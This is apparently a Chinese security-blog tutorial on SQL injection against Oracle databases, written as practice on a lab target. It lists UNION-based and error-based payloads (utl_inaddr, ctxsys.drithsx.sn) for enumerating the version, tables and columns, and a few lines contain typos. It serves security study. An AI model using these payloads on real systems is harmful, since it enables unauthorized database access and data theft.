免责声明
由于传播、利用本公众号"零漏安全"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"零漏安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!
1.注入基本规则
1.Oracle使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
2.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以再Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据是一致的,也可以是使用null代替某些无法快速猜测出数据类型的位置
3.Oracle的单行注释符号是--,多行注释符号是/**/
2.实例注入语句
判断列数:' order by 3 -
------------------------------------------------------------
判断回显位置:'union select null,null,null,unll from dual --
-------------------------------------------------------------
获取数据库版本信息:
select null,(select banner from sys.v_$version where rownum=1),null,null from dual
------------------------------------------------------------
user_tables :保持数据库 所有的表的信息
table_name
rownum=1
获取数据表名:
union select null,table_name,null,null from user_tables where rownum=1
union select null,(select table_name from user_tables where rownum=1),null,null from dual--
<>排除条件 <>'不包含的选项'
union select null,(select table_name from user_tables where rownum=1 and table_name<>'DEMO'),null,null from dual--
------------------------------------------------------------
user_tab_columns: 保持所有数据字段信息
column_name:字段名
获取关键表中的字段名:
union select null,column_name,null,null from user_tab_columns where table_name='DEMO'--
union select null,column_name,null,null from user_tab_columns where table_name='DEMO' and column_name<>'ID' and rownum=1
union select null.(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual--
3.注入流程
1.寻找注入点:基本的步骤就是找到与数据库交互的输入框,然后判断这个输入框的数据类型,以及它的数据的闭合方式,然后添加一些判断语句查看是否存在注入
2.判断列数
Oracle数据库同样是通过order by 进行查询数据表的列数判断,order by必须是select -list表达式的列数,在真实环境中的一个表的列数可能数目较多,因此在列数判断中我们最好使用二分法。
3.Oracle联合查询
跟之前的学习的MySQL一样,Oracle同样通过union 来实现联合查询注入
注意:因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用
4.信息收集
可以通过回显点收集相关信息
select user from dual 获取用户名
select banner from sys.v_$version where rownum=1 获取版本
5.查询表名 和 列名 获取数据
因为靶场比较简陋,所以实验过程只是体现自己的注入思路
3.盲注--报错盲注
1.使用utl_inaddr.get_host_name()进行报错注入
作用:用于取得局域网或Internet环境中的主机名和IP地址
select utl_inaddr.get_host_name('127.0.0.1') hostname from dual;
注入语句:
id==1 and 1=utl_inaddr.get_host_name((select user from dual))--
2.使用ctxsys.drithsx.sn()进行报错注入
报错语句:
1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
ctxsys.drithsx.sn(mc,(查询函数))--
这里为什么需要1=呢,是因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件
rownum
select * from demo rownum <=3 ;
为什么第一个查询有返回值,第二个查询只是将ROWNUM=2,就没有值返回。
ROWNUM是一个伪列。该值在被读入cache中时被分配了一个值。每次查询该值都可能变化。同样的一行记录,可能由于读入cache中的行数不同,而导致ROWNUM不同。
同样一行的rownum根据查询返回值的不同而不同。在任何情况下,只有当rownum=1返回之后,才能够返回rownum=2。如果查询rownum大于1的值,如rownum=3,则是无效的,总是返回"No Rows Selected"的信息。
掌控学院推出星球限时优惠25元
加我微信好友,邀请你进聊天群聊
原文始发于微信公众号(零漏安全):SQL注入之Oracle
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论